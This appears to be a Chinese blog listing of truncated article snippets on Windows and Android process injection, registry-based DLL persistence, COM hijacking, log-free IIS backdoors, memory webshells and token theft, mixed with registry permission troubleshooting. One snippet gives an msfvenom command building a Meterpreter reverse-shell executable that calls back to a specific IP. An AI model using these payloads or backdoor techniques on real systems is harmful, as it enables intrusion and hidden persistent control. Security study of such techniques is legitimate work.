后门及持久化访问3----进程注入之AppInit_DLLs注册表项

进程注入之AppInit_DLLs注册表项 User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL.只会影响加载了user32.dll的进程. HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls 代码如下: #include #include using namespace std; int test…

后门及持久化访问2----进程注入之AppCertDlls 注册表项

代码及原理介绍如果有进程使用了CreateProcess.CreateProcessAsUser.CreateProcessWithLoginW.CreateProcessWithTokenW或WinExec 函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注册表项,此项下的dll都会加载到此进程. Win7版本下没有"AppCertDlls"项,需自己创…

Win8下Visual Studio编译报“无法注册程序集dll- 拒绝访问。请确保您正在以管理员身份运行应用程序。对注册表项”“的访问被拒绝。”问题修正(转)

原来在Win7下Visual Studio跑的好好的程序,现在在Win8下编译报“无法注册程序集***dll- 拒绝访问.请确保您正在以管理员身份运行应用程序.对注册表项”***“的访问被拒绝.”的错误.报错信息明面上看是让你用管理员身份运行Visual Studio,然后打开工程编译就好了.但总觉得这种方法不如直接双击“sln”文件来的舒服. 话说这就引来win8的脑残管理员权限问题,因为win8的这个毛病,不止VS会报各种错,连安装程序等一系列的事情,系统都会各种要管理员权限才能执行,实在太…

[转] “无法注册程序集dll- 拒绝访问。请确保您正在以管理员身份运行应用程序。对注册表项”“的访问被拒绝

原文 Win8下Visual Studio编译报“无法注册程序集***dll- 拒绝访问.请确保您正在以管理员身份运行应用程序.对注册表项”***“的访问被拒绝.”问题修正原来在Win7下Visual Studio跑的好好的程序,现在在Win8下编译报“无法注册程序集***dll- 拒绝访问.请确保您正在以管理员身份运行应用程序.对注册表项”***“的访问被拒绝.”的错误.报错信息明面上看是让你用管理员身份运行Visual Studio,然后打开工程编译就好了.但总觉得这种方法不如直接双击“s…

IIS 发表web 之后，访问注册表项失败得问题

错误: 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\xx\xxxx\xxxxx”的访问被拒绝. 解决办法: 打开IIS,找到应用程序池,然后找到自己web使用得程序池,右键高级设置把标识改为 localSystem…

Dll注入技术之注册表注入

DLL注入技术之REG注入 DLL注入技术指的是将一个DLL文件强行加载到EXE文件中,并成为EXE文件中的一部分,这样做的目的在于方便我们通过这个DLL读写EXE文件内存数据,(例如 HOOK EXE文件中的API),或以被注入EXE的身份去执行一些操作等等. REG注入原理是利用在Windows 系统中,当REG以下键值中存在有DLL文件路径时,会跟随EXE文件的启动加载这个DLL文件路径中的DLL文件.当如果遇到有多个DLL文件时,需要用逗号或者空格隔开多个DLL文件的路径. HK…

后门及持久化访问4----Com组件劫持

代码及原理介绍 COM是Component Object Model(组件对象模型)的缩写,COM组件由DLL和EXE形式发布的可执行代码所组成.每个COM组件都有一个CLSID,这个CLSID是注册的时候写进注册表的,可以把这个CLSID理解为这个组件最终可以实例化的子类的一个ID.这样就可以通过查询注册表中的CLSID来找到COM组件所在的dll的名称.所以要想COM劫持,必须精心挑选CLSID,尽量选择应用范围广的CLSID.这里,我们选择的CLSID为:{b5f8350b-0548-48…

无法打开注册表项 unknown 没有足够的权限访问

secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose 执行完,重新安装即可.…

VM虚拟机安装无法将值写入注册表.....请确认你是否有足够的权限访问该注册表项,或者与技术支持人员联系。

解决方法: 关掉360安全卫士等软件再安装…

C# 32位程序访问64位系统注册表

原文:C# 32位程序访问64位系统注册表我的上一篇文章已经阐述了“32位程序和64位程序在64位平台上读\写注册表的区别”,那么接下来将要回答上篇所留下来的一个问题:32位程序如何访问64位系统注册表(即:64位程序所访问的注册表位置). 我们已经知道: ①:本机模式 64 位程序运行在纯模式下,并且访问键和存储在以下注册表子键中的值:HKEY_LOCAL_MACHINE\Software ②:32 位程序运行在 WOW64 模式下,并且访问键和值存储在以下注册表子项中:HKEY_LOCAL…

Dll注入：注册表注入

在系统中每一个进程加载User32.dll时,会受到DLL_PROCESS_ATTACH通知,当User32.dll对其进行处理时,会取得注册表键值HKEY_LOCAL_MACHINE\Software\Microsoft\windowsNT\CurrentVresion\Windows\AppInit_Dlls,并调用LoadLibrary来载入这个字符串中指定的每个DLL.被调用的DLL会在系统调用它们的DllMain函数,并将参数fdwReason的值设为DLL_PROCESS_ATTAC…

IE 将“通过域访问数据源”设置为启用(注册表)

XP HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1406 Vista+ HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1406 将 zones 0-4的1406统一设置为0 通过域访问数据源:(3＝禁用.0＝启用.1＝提示)"1406"=dword:00000000 ; 使用Js脚本…

进程注入后门工具Cymothoa

进程注入后门工具Cymothoa Cymothoa是一款隐秘的后门工具.它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限.该工具最大的优点就是不创建新的进程,不容易被发现.由于该工具基于ptrace库,所以适合各种类Unix系统.该工具提供14种攻击载荷,可以实现各种攻击和后门.由于该后门是基于进程注入,所以当原有进程结束,后门也会被关闭.所以,渗透测试必须结合自启动脚本,注入到自启动服务中(如Web服务),才能使Cymothoa的脚本持久有效.…

windows的iis做后门，隐藏访问，无日志<转>

windows下的iis5/iis6做后门,隐藏访问,不留访问记录或者不留日志好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定会想到留后门这个法子.对Windows系列下的Web服务器来说,笔者觉得最好的后门莫过于通过80端口安置后门,因为既然要对外提供Web服务,管理员总不会把80端口给屏蔽了吧.下面让我们来看看怎么设置IIS后门. 一 GUI方式设置如果你能通过GUI(图形界面)方式管理肉鸡的话(通过…

使用VC++通过远程进程注入来实现HOOK指定进程的某个API

前阵子读到一篇关于<HOOK API入门之Hook自己程序的MessageBoxW>的博客,博客地址:http://blog.csdn.net/friendan/article/details/12222651,感觉写的很好但这篇博客主要讲的是本进程(本程序)的API HOOK那么如何将DLL注入到远程进程并进行API HOOK呢,好了废话不多说直接动手实践. 创建DLL动态库(我是在vs2008上实现的) 新建项目创建一个名为MyDLL(名字随便)win32项目(我创建的是win32 D…

利用“进程注入”实现无文件复活 WebShell

引子上周末,一个好兄弟找我说一个很重要的目标shell丢了,这个shell之前是通过一个S2代码执行的漏洞拿到的,现在漏洞还在,不过web目录全部不可写,问我有没有办法搞个webshell继续做内网.正好我之前一直有个通过“进程注入”来实现内存webshell的想法,于是就趁这个机会以Java为例做了个内存webshell出来(暂且叫它memShell吧),给大家分享一下:) 前言一般在渗透过程中,我们通常会用到webshell,一个以文件的形式存在于Web容器内的恶意脚本文件.我们通过we…

windows的iis做后门，隐藏访问，无日志

windows下的iis5/iis6做后门,隐藏访问,不留访问记录或者不留日志好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定会想到留后门这个法子.对Windows系列下的Web服务器来说,笔者觉得最好的后门莫过于通过80端口安置后门,因为既然要对外提供Web服务,管理员总不会把80端口给屏蔽了吧.下面让我们来看看怎么设置IIS后门.一 GUI方式设置如果你能通过GUI(图形界面)方式管理肉鸡的话(通过 3389端口的Wi…

Android中通过进程注入技术修改系统返回的Mac地址

致谢感谢看雪论坛中的这位大神,分享了这个技术:http://bbs.pediy.com/showthread.php?t=186054,从这篇文章中学习到了很多内容,如果没有这篇好文章,我在研究的过程中会遇到很多困难,说不定我就放弃了~~在此感谢他. 前言之前的几篇文章都是在介绍了OC的相关知识,之前的半个月也都是在搞IOS的相关东西,白天上班做Android工作,晚上回家还有弄IOS,感觉真的很伤了.不过OC的知识也学习了差不多了.不过在这段时间遗留了很多Android方面的问题都没有进行…

【原创】利用“进程注入”实现无文件不死webshell

引子上周末,一个好兄弟找我说一个很重要的目标shell丢了,这个shell之前是通过一个S2代码执行的漏洞拿到的,现在漏洞还在,不过web目录全部不可写,问我有没有办法搞个webshell继续做内网.正好我之前一直有个通过"进程注入"来实现内存webshell的想法,于是就趁这个机会以Java为例做了个内存webshell出来(暂且叫它memShell吧),给大家分享一下:) 前言一般在渗透过程中,我们通常会用到webshell,一个以文件的形式存在于Web容器内的恶意脚本文件.我…

WIN进程注入&BypassUAC&令牌窃取

WIN进程注入&BypassUAC&令牌窃取本地提权-win令牌窃取假冒令牌可以假冒一个网络中的另一个用户进行各类操作. 所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击. 我这里用到了windowns2008虚拟机做演示先用msf生成一个后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=3333 -f exe -o msf.exe msf上线 use inco…

Android中通过进程注入技术改动广播接收器的优先级

前言这个周末又没有吊事,在家研究了怎样通过进程的注入技术改动广播接收器的优先级.关于这个应用场景是非常多的.并且也非常重要.所以就非常急的去fixed了. Android中的四大组件中有一个广播:Broadcast 关于它的相关知识能够转战:http://blog.csdn.net/jiangwei0910410003/article/details/19150705 我们这里就不做太多解释了,如今来看一下问题: 知识前提这篇文章和我之前介绍一篇文章: Andrdoid中相应用程序的行为拦截…

“聊天剽窃手”--ptrace进程注入型病毒

近日,百度安全实验室发现了一款"聊天剽窃手"病毒.该病毒可以通过ptrace方式注入恶意代码至QQ.微信程序进程.恶意代码可以实时监控手机QQ.微信的聊天内容及联系人信息. 该病毒是眼下发现的首款通过ptrace进程注入方式进行恶意窃取私密资料的病毒. 简单介绍该病毒主要是通过ptrace注入QQ和微信进程进行信息窃取的,主程序调用assets中的inject_appso,libcall.so以及conn.jar联合进行"作案".在conn.jar中获取聊天信息/…

【原创】访问Linux进程文件表导致系统异常复位的排查记录

前提知识: Linux内核.Linux 进程和文件数据结构.vmcore解析.汇编语言问题背景: 这个问题出自项目的一个安全模块,主要功能是确定某进程是否有权限访问其正在访问的文件. 实现功能时,需要在内核里通过扫描该进程打开的文件表,获取文件的路径,和安全模块里配置的可访问文件的进程白名单进行匹配: 模块会一直到搜索到进程pid为1的进程,也就是init进程.在访问中间某个父进程的文件表时,出现struct task_struct的files指针为空的情况, 导致系统异常复位. 下面就是这次…

如何实现.net程序的进程注入

原文:如何实现.net程序的进程注入如何实现.net程序的进程注入周银辉进程注入比较常见,比如用IDE调试程序以及一些Spy程序,如果仅仅为了与调试器通讯,可以使用.net提供的Debugger接口(在EnvDTE.dll的EnvDTE命名空间下).但无论出于什么目的,进程注入都是比较好玩的事情,所以不妨一试 . 进程注入的方法貌似很多(比如像特洛伊一样乔装打扮让目标进程误认为你的程序集合法而加载到目标进程),这里提到…

Android进程注入

全部代码在这里下载:http://download.csdn.net/detail/a345017062/8133239 里面有两个exe.inj是一个C层进程注入的样例.inj_dalvik是我写的Java注入.C层的进程注入借直接拉的洗大师的开源项目(https://code.google.com/p/libandroidinjector/) Android的基础服务大部分都是使用Java写的,仅仅是C层的注入,想要直接訪问的话还是比較麻烦.所以须要在远端载入一个dex包(代码中写死了载入/…